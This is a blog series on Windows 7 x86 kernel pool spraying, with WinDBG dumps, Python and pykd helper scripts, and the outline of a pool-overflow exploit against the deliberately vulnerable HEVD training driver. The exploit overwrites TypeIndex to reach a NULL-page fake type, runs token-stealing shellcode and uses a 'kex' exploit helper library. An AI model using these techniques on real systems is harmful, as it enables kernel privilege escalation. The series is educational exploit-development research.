Friday, September 15, 2017

Windows kernel pool spraying fun - Part 4 - object & pool headers, kex & putting it all together

2 weeks... LOL... I had to finish this up. :)

This post will be looooong, where we check the actual objects and their headers, and finally put together the actual exploit for HEVD, and I release my first version of kex.

Before we move forward for the actual exploitation we will need to prepare some more data for our objects. When we actually do a pool overflow, we will write outside of the hole (this is why we need to precisely control the new allocation with the hole) and overwriting the next object. Since we reserved the objects we will know what we overwrite but we need to see, what to place there, as messing up with kernel structures is a fast way towards BSODs.

I made a spray, and this is what I have:

Object location: 87999400
Pool page 87999400 region is Nonpaged pool
 87999000 size:   50 previous size:    0  (Allocated)  Muta (Protected)
 87999050 size:   10 previous size:   50  (Free)       P...
 87999060 size:   50 previous size:   10  (Free )  Muta (Protected)
 879990b0 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999100 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999150 size:   50 previous size:   50  (Free )  Muta (Protected)
 879991a0 size:   50 previous size:   50  (Free )  Muta (Protected)
 879991f0 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999240 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999290 size:   50 previous size:   50  (Free )  Muta (Protected)
 879992e0 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999330 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999380 size:   50 previous size:   50  (Free )  Muta (Protected)
*879993d0 size:   50 previous size:   50  (Allocated) *Muta (Protected)
Pooltag Muta : Mutant objects
 87999420 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 87999470 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 879994c0 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 87999510 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 87999560 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 879995b0 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 87999600 size:   50 previous size:   50  (Allocated)  Muta (Protected)

We can see that the object is at 0x87999400 while the actual reservation starts at 0x879993d0, so the object is +0x30 bytes offset from the beginning of the pool. That's because we have the POOL_HEADER, potential OPTIONAL_HEADERS and the OBJECT_HEADER there (see: http://codemachine.com/article_objectheader.html), and we can see that it will be always the same for our allocation (showing the pool headers here) except the PreviousSize which can vary, but we can predict that:

||1:lkd> dt nt!_POOL_HEADER 879993d0 
   +0x000 PreviousSize     : 0y000001010 (0xa)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000001010 (0xa)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x40a000a
   +0x004 PoolTag          : 0xe174754d
   +0x004 AllocatorBackTraceIndex : 0x754d
   +0x006 PoolTagHash      : 0xe174
||1:lkd> dt nt!_POOL_HEADER 879993d0+50
   +0x000 PreviousSize     : 0y000001010 (0xa)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000001010 (0xa)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x40a000a
   +0x004 PoolTag          : 0xe174754d
   +0x004 AllocatorBackTraceIndex : 0x754d
   +0x006 PoolTagHash      : 0xe174

The OBJECT_HEADER will be at 0x18 offset

||1:lkd> !object 87999400
Object: 87999400  Type: (8521a838) Mutant
    ObjectHeader: 879993e8 (new version)
    HandleCount: 1  PointerCount: 1

||1:lkd> dt nt!_OBJECT_HEADER 879993e8 
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0xe ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0 ''
   +0x010 ObjectCreateInfo : 0x86e0bd80 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x86e0bd80 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

and the others will be the same:

||1:lkd> !object 87999400+50
Object: 87999450  Type: (8521a838) Mutant
    ObjectHeader: 87999438 (new version)
    HandleCount: 1  PointerCount: 1
||1:lkd> dt nt!_OBJECT_HEADER 879993e8 +50
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0xe ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0 ''
   +0x010 ObjectCreateInfo : 0x86e0bd80 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x86e0bd80 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

They could be different if we would have more handles open, but since we do the spraying, no one else will care about these objects. The object body starts at offset 0x18, this is how we get to our object at offset 0x30.

We can also see this if we dump the entire 0x50 bytes:

||1:lkd> dd 879993d0 L50/4
879993d0  040a0070 e174754d 00000000 00000050
879993e0  00000000 00000000 00000001 00000001
879993f0  00000000 0008000e 86e0bd80 00000000
87999400  00080002 00000001 87999408 87999408
87999410  00000000 00000000 00000000 00000000

||1:lkd> dd 879993d0+50 L50/4
87999420  040a000a e174754d 00000000 00000050
87999430  00000000 00000000 00000001 00000001
87999440  00000000 0008000e 86e0bd80 00000000
87999450  00080002 00000001 87999458 87999458
87999460  00000000 00000000 00000000 00000000

The underlined part is the PreviousSize, which is changing. So if we overflow into this object and use the same 0x28 bytes, we will be safe. We overwrote the object, with the same data. That's nice, but why it will be good for us? Well, we will modify the data, especially the typeindex, which is 0xe in the case above. The TypeIndex is an index to the object type table, which tells us what is this object:

||1:lkd> dd nt!ObTypeIndexTable+4*0xe L1
82b805b8  8521a838
||1:lkd> dt nt!_OBJECT_TYPE 8521a838
   +0x000 TypeList         : _LIST_ENTRY [ 0x8521a838 - 0x8521a838 ]
   +0x008 Name             : _UNICODE_STRING "Mutant"
   +0x010 DefaultObject    : (null) 
   +0x014 Index            : 0xe ''
   +0x018 TotalNumberOfObjects : 0x187ff
   +0x01c TotalNumberOfHandles : 0x1880f
   +0x020 HighWaterNumberOfObjects : 0x7a26a
   +0x024 HighWaterNumberOfHandles : 0x7a28e
   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER
   +0x078 TypeLock         : _EX_PUSH_LOCK
   +0x07c Key              : 0x6174754d
   +0x080 CallbackList     : _LIST_ENTRY [ 0x8521a8b8 - 0x8521a8b8 ]

It has an embedded structure the OBJECT_TYPE_INITIALIZER which gives us a list of pointers to functions to be called at certain points of the object's lifecycle.

||1:lkd> dt nt!_OBJECT_TYPE_INITIALIZER 8521a838+0x28
   +0x000 Length           : 0x50
   +0x002 ObjectTypeFlags  : 0 ''
   +0x002 CaseInsensitive  : 0y0
   +0x002 UnnamedObjectsOnly : 0y0
   +0x002 UseDefaultObject : 0y0
   +0x002 SecurityRequired : 0y0
   +0x002 MaintainHandleCount : 0y0
   +0x002 MaintainTypeList : 0y0
   +0x002 SupportsObjectCallbacks : 0y0
   +0x002 CacheAligned     : 0y0
   +0x004 ObjectTypeCode   : 2
   +0x008 InvalidAttributes : 0x100
   +0x00c GenericMapping   : _GENERIC_MAPPING
   +0x01c ValidAccessMask  : 0x1f0001
   +0x020 RetainAccess     : 0
   +0x024 PoolType         : 0 ( NonPagedPool )
   +0x028 DefaultPagedPoolCharge : 0
   +0x02c DefaultNonPagedPoolCharge : 0x50
   +0x030 DumpProcedure    : (null) 
   +0x034 OpenProcedure    : (null) 
   +0x038 CloseProcedure   : (null) 
   +0x03c DeleteProcedure  : 0x82afe453     void  nt!ExpDeleteMutant+0
   +0x040 ParseProcedure   : (null) 
   +0x044 SecurityProcedure : 0x82ca2936     long  nt!SeDefaultObjectMethod+0
   +0x048 QueryNameProcedure : (null) 
   +0x04c OkayToCloseProcedure : (null) 

Now, if we zero out the TypeIndex, this is where we get:

||1:lkd> dd nt!ObTypeIndexTable+4*0x0 L1
82b80580  00000000

Based on this, once the index is ZERO, the kernel will look for the OBJECT_TYPE and then the OBJECT_TYPE_INITALIZER structure at the NULL page, which we can map on Win 7 x86 (not in later versions).

Now we just need to have a collection of the first 0x28 bytes from the beginning of the pool allocation for the various objects.

During the collection I found that in case of named objects the above is slightly different. For example:

Named Semaphore:
040b0006
e16d6553
00000000
00000044
00000000
00000000
9a06fb38 //pointer to ???? I couldn't figure out what is there. Anyone? It's changing between reloads.
00260026 //length of the name * 2 as it's stored in Unicode
adecd178 //pointer to the name (UNICODE)
00000000
00000002
00000001
00000000
000a0010

So it's not that easy to use a named one as we have a varying pointer which I don't know where it points to + I'm not sure what would happen if I put a pointer to user space for the name. We can't predict the pointer in kernel space. Another one which doesn't really work is IoCompletionPort. So I removed all of these from my list. Anyhow, even without these we have a good set of objects, and some further research is needed on the others. This is what we have with the PreviousSize 0-d out:

pool_object_headers['unnamed_mutex'] = [0x040a0000,0xe174754d,0x00000000,0x00000050,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000e]
pool_object_headers['unnamed_job'] = [0x042d0000,0xa0626f4a,0x00000000,0x00000168,0x0000006c,0x86e0bd80,0x00000001,0x00000001,0x00000000,0x00080006]
pool_object_headers['iocompletionreserve'] = [0x040c0000,0xef436f49,0x00000000,0x0000005c,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000a]
pool_object_headers['unnamed_semaphore'] = [0x04090000,0xe16d6553,0x00000000,0x00000044,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080010]
pool_object_headers['event'] = [0x04080000,0xee657645,0x00000000,0x00000040,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000c]

A quick note on the PreviousSize field. We always know what it should be. We know exactly the hole we create and this value is simple that size divided by 8, so we can always dynamically generate it. It's added to the code.

Now let's go to exploitation.

What is kex? Well it stands for kernel exploitation, and also if you pronounce it, in Hungarian it means 'cookie' (although that word is written as keksz ('ksz' is pronounced as 'x')), and it's a collection of functions that can help writing kernel exploits faster. At this moment it has the following functions:

def allocate_object(object_to_use, variance):
def find_object_to_spray(required_hole_size):
def spray(required_hole_size):
def make_hole(required_hole_size, good_object):
def gimme_the_hole(required_hole_size):
def close_all_handles():
def calculate_previous_size(required_hole_size):
def pool_overwrite(required_hole_size,good_object):
def ctl_code(function,
def getLastError():
def alloc_memory(base_address, input, input_size):
def find_driver_base(driver=None):
def get_haldispatchtable():
def get_haldisp_ofsetsx86():
def get_haldisp_ofsetsx64():
def setosvariablesx86():
def setosvariablesx64():
def retore_hal_ptrs(HalDispatchTable,HaliQuerySystemInformation,HalpSetSystemInformation):
def restoretokenx86(RETVAL, extra = ""):
def tokenstealingx86(RETVAL, extra = ""):
def tokenstealingx64(RETVAL, extra = ""):
def tokenstealing(RETVAL, extra = ""):

Basically functions to help with finding various offsets based on OS version, finding the HalDispatchTable location, generating tokenstealing shellcode for various platforms and cases, functions to allocate memory and a set of functions that I created as part of my kernel pool spraying fun series :) like spraying, creating holes just based on the pool size we know, we don't need to prepare anything or worry about the objects. It was long time ago in my plans but somehow went under the table. I do plan to catch up with this 'project' and start to add other stuff, like bitmap read/write stuff, which is needed for newer OSs.

Not all functions were developed by myself, there are particles that were taken from various sources, and I tried to indicate it. I might modify it to my needs, like adding parameters but I still wanted to indicate the source, and not take credits for it.

So what's the difference. If I take my original HackSysExtremeVulnerableDriver pool overflow exploit, found here, it's 200 lines:

With the kex helpers, it's about 50, which is much nicer, and you don't need to worry about many things.

Our required hole size is 0x200 (HEVD allocates 0x1f8 size, but it takes 0x200 on the pool: buffer + 8 byte POOL_HEADER).

A summary of this HEVD exploit:
  1. open the driver
  2. allocate our input at 0x41410000, which consists of 0x1f8 random data, and the additional overflow part
  3. put the value 0x42424242 at 0x00000060 (pointer to the "CloseProcedure" function handler)
  4. generate a tokenstealing shellcode and allocate it it into 0x42424242
  5. spray the kernel pool, and make holes (multiple)
  6. call the driver vulnerable function to make the overflow
  7. close all handles to trigger our shellcode
  8. open cmd.exe

The exploit works very reliably, I run it quite a few times.

You can find kex here:

If you find any bug, please report it, I tried to filter out everything and test most of the functions, but you never know.

Thursday, September 14, 2017

Windows kernel pool spraying fun - Part 3 - Let's make holes

Maybe I should have started this whole series with some explanation. I want to make some scripts that can help with making Windows kernel exploit development faster, and my first run is with pool spraying. Also, if you never read about kernel pool overflows, and exploiting them with pool spraying, maybe read this:


Now that we have a decent list of kernel object sizes (and the script can be run on other platforms, although probably I need to make some changes for x64 architecture) we can 'automate' the spraying and hole creation process, if we know what is the hole size we require.

Basically:
  1. Once we analyzed the vulnerability we will know what is the object / buffer size the driver will allocate in the pool
  2. We need to control the placement of that allocation, so we need to prepare a given size hole in the pool, so that the kernel will allocate the new object there
  3. If we know the size, we can simply calculate what kind of objects are good for our spraying and how many of them will need to be free up
  4. If we know all of that we can spray the kernel, and make a hole
We will need info about the object and pool headers what we overwrite with the overflow, but I will deal with that later, as it's not required for the hole creation. I might be wrong, but with some preparation I hope that the overwriting data can be automatically generated as well. For now, I just want to make holes with a given size. So I made a script for this, which is available here (please keep in mind that it's hardcoded for Win7 SP1 x86):


It will ask for the hole size you want, and do the spraying, freeing up the space and showing that area in WinDBG. Also note that it still uses the local kernel debugger, where we can't set breakpoint, so there is some race condition, when we issue the !pool command, as some other kernel process can allocate in the free space. The reason I still on local kernel debugging is that it's much simpler now for the demonstration. When I get to actual exploit demo, I will need to have remote debugging, but I can use the functions I demo here. So here is the output:

lkd> !py c:\users\csaby\desktop\spray_helper.py
Give me the size of the hole in hex: 440
Process: 8572bd40
Object location: 857e15f0
Pool page 857e15f0 region is Nonpaged pool
 857e1000 size:   40 previous size:    0  (Allocated)  Even (Protected)
 857e1040 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1080 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e10c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1100 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1140 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1180 size:   40 previous size:   40  (Free )  Even (Protected)
 857e11c0 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1200 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1240 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1280 size:   40 previous size:   40  (Free )  Even (Protected)
 857e12c0 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1300 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1340 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1380 size:   40 previous size:   40  (Free )  Even (Protected)
 857e13c0 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1400 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1440 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1480 size:   40 previous size:   40  (Free )  Even (Protected)
 857e14c0 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1500 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1540 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1580 size:   40 previous size:   40  (Free )  Even (Protected)
*857e15c0 size:   40 previous size:   40  (Allocated) *Even (Protected)
Pooltag Even : Event objects
 857e1600 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1640 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1680 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e16c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1700 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1740 size:   40 previous size:   40  (Allocated)  Even (Protected)

You can see that we have 17 x 0x40 space free, which is exactly 0x440, and that I didn't have to deal with the details. I can give any other size, e.g:

lkd> !py c:\users\csaby\desktop\spray_helper.py
Give me the size of the hole in hex: 260
Process: 8572bd40
Object location: 87b2fe00
Pool page 87b2fe00 region is Nonpaged pool
 87b2f000 size:   98 previous size:    0  (Allocated)  IoCo (Protected)
 87b2f098 size:   90 previous size:   98  (Free)       ....
 87b2f128 size:   98 previous size:   90  (Allocated)  IoCo (Protected)
 87b2f1c0 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f258 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f2f0 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f388 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f420 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f4b8 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f550 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f5e8 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f680 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f718 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f7b0 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f848 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f8e0 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f978 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2fa10 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2faa8 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2fb40 size:   98 previous size:   98  (Free )  IoCo (Protected)
 87b2fbd8 size:   98 previous size:   98  (Free )  IoCo (Protected)
 87b2fc70 size:   98 previous size:   98  (Free )  IoCo (Protected)
 87b2fd08 size:   98 previous size:   98  (Free )  IoCo (Protected)
*87b2fda0 size:   98 previous size:   98  (Allocated) *IoCo (Protected)
Owning component : Unknown (update pooltag.txt)
 87b2fe38 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2fed0 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2ff68 size:   98 previous size:   98  (Allocated)  IoCo (Protected)

As we see the spraying adapts to our needs. Note that different objects were used this time. If you test it many times, try to use a number which will result in different object allocation, so you get a cleaner output.

Another important thing to note is that the hole creation is not 100% reliable here, but I believe it's very close. What I do is the following: I spray the kernel with 100000 objects, and free up X in the middle. Very likely that those will be reserved next to each other, and give us the space we need when I free them, and for demonstrating the 'automation' this was the easiest. It could be more reliable if:
  1. I try to make multiple holes, with freeing up multiple X handlers, possibly next to each other
  2. There is a way to leak the address of the objects from the kernel and calculate if they are next to each other, and thus freeing up the space that way. This will be the most reliable method.
As I progress, I will implement these but for now the first method makes it.

And yes, I code in Python, and not Powershell, simply because I can't code in PS, but I fully agree with everyone who says that making this in PS would make much more sense.

Part 4 will come later as I will be busy in the next 2 weeks, possibly no time for this, but will catch up after.

Monday, September 11, 2017

Windows kernel pool spraying fun - Part 2 - More objects

In the second part I will explore more object sizes. The process to get the actual size is fairly simple as we saw it, however it can be a manually intense process if we need to do it many times, and thus it should be automated, before wasting more time on it. It's good to do it manually a few times, especially for learning, but there is no point repeating when not needed. So how we script WinDBG? With pykd! pykd is an excellent Python extension for WinDBG, it even allows us to script WinDBG if we don't even start it manually.

First thing is to install pykd, which can be a headache sometimes. It's not always as straightforward as it sounds. Probably the easiest if we download the precompiled version, and place pykd.pyd file in the winext directory of WinDBG. It's very important that the architecture of WinDbg, Python, VCRedist and pykd are all the same (x86 or x64). You can also install pykd via PIP, but I didn't find it working when trying to import. Also be sure to have the latest version of Python (2.7.13), with some older versions (like 2.7.9) WinDBG used to exit for me, when starting pykd. With even older version of Python (2.7.1) it used to work. But once it's up, it's a very powerful extension.

So I wrote a short function that gets a name and handle, and will lookup the size of the object. There might be other, more elegant ways to do this, but it worked for me:

def find_object_size(handle,name):
#find windbg.exe process
wp = dbgCommand('!process 0 0 windbg.exe')
#print wp
#extract process "address"
process_tuples = re.findall( r'(PROCESS )([0-9a-f]*)(  SessionId)', wp)
if process_tuples:
process = process_tuples[0][1]
print "Process: " + process

#switch to process context
dbgCommand(".process " + process)
#find object "address"
object_ref = dbgCommand("!handle " + h)
object_tuples = re.findall( r'(Object: )([0-9a-f]*)(  GrantedAccess)', object_ref)
if object_tuples:
obj = object_tuples[0][1]
print "Object: " + obj

#find pool
pools = dbgCommand("!pool " + obj)
#print pools

#find size
size_re = re.findall(r'(\*[0-9a-f]{8} size:[ ]*)([0-9a-f]*)( previous)',pools)
if size_re:
print name + " objects's size in kernel: " + size_re[0][1]

#close handle
kernel32.CloseHandle(handle)

This will ease our job finding the pool size allocated. With this I will take a look at the following objects:

Event
IoCompletionPort
IoCompletionReserve
Job (named and unnamed)
Semaphore (named and unnamed)

It's quite straightforward from this point, we just need to call the related user mode function, create an object, and check the size. I created a short script for WinDBG that will create the above objects, and then check for their sizes, and print them out. I uploaded the script here:


To use the script:
  1. Start WinDBG
  2. Kernel debug -> Local
  3. Issue the command: .load pykd
  4. !py path_to_the_script

The result:

Not Named Mutex objects's size in kernel: 0x50
Named Mutex objects's size in kernel: 0x60
Job objects's size in kernel: 0x168
Job objects's size in kernel: 0x178
IoCompletionPort objects's size in kernel: 0x98
Event objects's size in kernel: 0x40
IoCompletionReserve objects's size in kernel: 0x60
Not named Semaphore objects's size in kernel: 0x48
Named Semaphore objects's size in kernel: 0x58

This will give us a good set of objects that can be used for pool spraying.

And what is "kex" and what to expect there? Well, you will see more cool kernel stuff. ;-) 

Tuesday, September 5, 2017

Windows kernel pool spraying fun - Part 1 - Determine kernel object size

This is a series of posts I'm planning to write for about a year now, I did some research here and there, but sort of forget about the whole thing and never took notes properly. I wanted to explore what kind of objects we can use for kernel pool spraying, mainly how much space they consume, what attributes they have, and at the end come up with a code snippet that will take the 'pool hole size' as an input, and dynamically tell us what kind of objects to use for this in order to control the pool allocation for our overflow. So this went into my drawer for long time, and I got excited about this again, when I saw a Twitter post from @steventseeleyhttps://twitter.com/steventseeley/status/904443608216031233 and decided that I need to write this after all, partially for my own interest, and finally documenting it as well :)
At this point I don't know how many parts this series will have, and how fast I will progress due to lack of time, but I decided to start this, and not ignore it again.

Microsoft has a nice list of kernel objects we can create with calling user mode function, although it's not complete, it's still a good start: https://msdn.microsoft.com/library/windows/desktop/ms724485(v=vs.85).aspx

another important link, is a list of pool tags we can spot, which can also come handy when looking at the pool allocations:

In this post I want to explore the Mutex object, as that gave me a headache recently due to incomplete notes, and show how can we find and see the actual allocation in the pool space and some basic info about the object itself.

To setup the environment, we don't need to make remote kernel debugging, it's enough to do local kernel debugging, as we will only explore the kernel memory, and we don't need to setup any breakpoints for now. So a local debugging will be sufficient for our needs. For that we will need to enable debugging in Windows:

bcdedit -debug ON

After that we will need to restart the machine. Once it's done, we can fire up WinDBG, go to Kernel Debug, and select Local. It's recommended to issue the following commands to load symbols:

.symfix
.reload

At this point we can explore the kernel memory space. I will use a Win7 SP1 x86 for my demonstration.

First if we want we can get a more comprehensive list of objects with issuing the following command:
!object \ObjectTypes

which will give us something like this:
lkd> !object \ObjectTypes
Object: 8be05880  Type: (851466d8) Directory
    ObjectHeader: 8be05868 (new version)
    HandleCount: 0  PointerCount: 44
    Directory Object: 8be05ed0  Name: ObjectTypes

    Hash Address  Type                      Name
    ---- -------  ----                      ----
     00  851d6900 Type                      TpWorkerFactory
         851466d8 Type                      Directory
     01  8521a838 Type                      Mutant
         851cddb0 Type                      Thread
     03  857c7c40 Type                      FilterCommunicationPort
     04  8522a360 Type                      TmTx
     05  851d29c8 Type                      Controller
     06  8521d0b8 Type                      EtwRegistration
     07  851fe9c8 Type                      Profile
         8521a9c8 Type                      Event
         851467a0 Type                      Type
     09  8521cce0 Type                      Section
         8521a900 Type                      EventPair
         85146610 Type                      SymbolicLink
     10  851d69c8 Type                      Desktop
         851cdce8 Type                      UserApcReserve
     11  85221040 Type                      EtwConsumer
         8520e838 Type                      Timer
     12  8522a8f0 Type                      File
         851fe838 Type                      WindowStation
     14  860a6f78 Type                      PcwObject
     15  8521ceb0 Type                      TmEn
     16  851d2838 Type                      Driver
     18  8521db70 Type                      WmiGuid
         851fe900 Type                      KeyedEvent
     19  851d2900 Type                      Device
         851cd040 Type                      Token
     20  85214690 Type                      ALPC Port
         851cd568 Type                      DebugObject
     21  8522a9b8 Type                      IoCompletion
     22  851cde78 Type                      Process
     23  8521cf78 Type                      TmRm
     24  851d6838 Type                      Adapter
     26  852139a8 Type                      PowerRequest
         85218448 Type                      Key
     28  851cdf40 Type                      Job
     30  8521c940 Type                      Session
         8522a428 Type                      TmTm
     31  851cdc20 Type                      IoCompletionReserve
     32  8520e9c8 Type                      Callback
     33  85894328 Type                      FilterConnectionPort
     34  8520e900 Type                      Semaphore

This is a list of objects that can be allocated in the kernel space. We can explore several important attributes about them, by looking into them in more detail. With the dt nt!_OBJECT_TYPE <object> we can get some details about the object, like total handles, etc... but most importantly the offset to the _OBJECT_TYPE_INITIALIZER structure which will contain a whole lot of handy stuff for us. Let's see what it gives us for the Mutant object, what I want to explore here:

lkd> dt nt!_OBJECT_TYPE 8521a838
   +0x000 TypeList         : _LIST_ENTRY [ 0x8521a838 - 0x8521a838 ]
   +0x008 Name             : _UNICODE_STRING "Mutant"
   +0x010 DefaultObject    : (null) 
   +0x014 Index            : 0xe ''
   +0x018 TotalNumberOfObjects : 0x15f
   +0x01c TotalNumberOfHandles : 0x167
   +0x020 HighWaterNumberOfObjects : 0xc4d7
   +0x024 HighWaterNumberOfHandles : 0xc4ed
   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER
   +0x078 TypeLock         : _EX_PUSH_LOCK
   +0x07c Key              : 0x6174754d
   +0x080 CallbackList     : _LIST_ENTRY [ 0x8521a8b8 - 0x8521a8b8 ]

and to read the _OBJECT_TYPE_INITIALIZER:

lkd> dt nt!_OBJECT_TYPE_INITIALIZER 8521a838+28
   +0x000 Length           : 0x50
   +0x002 ObjectTypeFlags  : 0 ''
   +0x002 CaseInsensitive  : 0y0
   +0x002 UnnamedObjectsOnly : 0y0
   +0x002 UseDefaultObject : 0y0
   +0x002 SecurityRequired : 0y0
   +0x002 MaintainHandleCount : 0y0
   +0x002 MaintainTypeList : 0y0
   +0x002 SupportsObjectCallbacks : 0y0
   +0x002 CacheAligned     : 0y0
   +0x004 ObjectTypeCode   : 2
   +0x008 InvalidAttributes : 0x100
   +0x00c GenericMapping   : _GENERIC_MAPPING
   +0x01c ValidAccessMask  : 0x1f0001
   +0x020 RetainAccess     : 0
   +0x024 PoolType         : 0 ( NonPagedPool )
   +0x028 DefaultPagedPoolCharge : 0
   +0x02c DefaultNonPagedPoolCharge : 0x50
   +0x030 DumpProcedure    : (null) 
   +0x034 OpenProcedure    : (null) 
   +0x038 CloseProcedure   : (null) 
   +0x03c DeleteProcedure  : 0x82afe453     void  nt!ExpDeleteMutant+0
   +0x040 ParseProcedure   : (null) 
   +0x044 SecurityProcedure : 0x82ca2936     long  nt!SeDefaultObjectMethod+0
   +0x048 QueryNameProcedure : (null) 
   +0x04c OkayToCloseProcedure : (null) 

This will give us two important things:
  • The pool type where this object is allocated - NonPagedPool in this case
  • Offset to functions (this is important during the actual exploitation part)
After this let's allocate a mutant, and find it in the kernel pool. I made a simple short python code, that will do this:


from ctypes import *
from ctypes.wintypes import *
import os, sys

kernel32 = windll.kernel32

def alloc_not_named_mutex():
        hHandle = HANDLE(0)
hHandle = kernel32.CreateMutexA(None, False, None)
if hHandle == None:
                print "[-] Error while creating mutex"
sys.exit()
print hex(hHandle)

if __name__ == '__main__':
        alloc_not_named_mutex()
variable = raw_input('Press any key to exit...')

This will allocate an unnamed mutex for us, print its handle and wait for exit. We need the wait, so we can explore the kernel pool in WinDBG, if the process exit, the mutex will be destroyed. I got a handle of 0x70, let's see how we can find it in WinDBG. First I need to find the Python process and switch context to it, which can be done this way:

lkd> !process 0 0 python.exe
PROCESS 86e80930  SessionId: 1  Cid: 0240    Peb: 7ffd4000  ParentCid: 0f80
    DirBase: bf3fd2e0  ObjectTable: a8282b30  HandleCount:  41.
    Image: python.exe

lkd> .process 86e80930  
Implicit process is now 86e80930

The first command will find the process for us, and the second will switch context. Then we need to query the handle, which will give us the address of the object in memory:

lkd> !handle 70

PROCESS 86e80930  SessionId: 1  Cid: 0240    Peb: 7ffd4000  ParentCid: 0f80
    DirBase: bf3fd2e0  ObjectTable: a8282b30  HandleCount:  41.
    Image: python.exe

Handle table at a8282b30 with 41 entries in use

0070: Object: 86e031a8  GrantedAccess: 001f0001 Entry: 8c0d80e0
Object: 86e031a8  Type: (8521a838) Mutant
    ObjectHeader: 86e03190 (new version)
        HandleCount: 1  PointerCount: 1

With that, we can find the pool location, and details:

lkd> !pool 86e031a8  
Pool page 86e031a8 region is Nonpaged pool
 86e03000 size:   98 previous size:    0  (Allocated)  IoCo (Protected)
 86e03098 size:   90 previous size:   98  (Allocated)  MmCa
 86e03128 size:   40 previous size:   90  (Allocated)  Even (Protected)
 86e03168 size:   10 previous size:   40  (Free)       Icp 
*86e03178 size:   50 previous size:   10  (Allocated) *Muta (Protected)
Pooltag Muta : Mutant objects
 86e031c8 size:   40 previous size:   50  (Allocated)  Even (Protected)
 86e03208 size:   40 previous size:   40  (Allocated)  Even (Protected)

It shows that it takes 0x50 bytes in the Nonpaged pool region. No matter how many times we repeat this, it will be consistently 0x50. The thing I didn't know is if we can allocate plenty of unnamed mutexes. It seems that we actually can. If we put our previous code into a loop, we can see that it will work, and that they can nicely spray the heap:

 851ef118 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef168 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef1b8 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef208 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef258 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef2a8 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef2f8 size:   50 previous size:   50  (Allocated)  Muta (Protected)
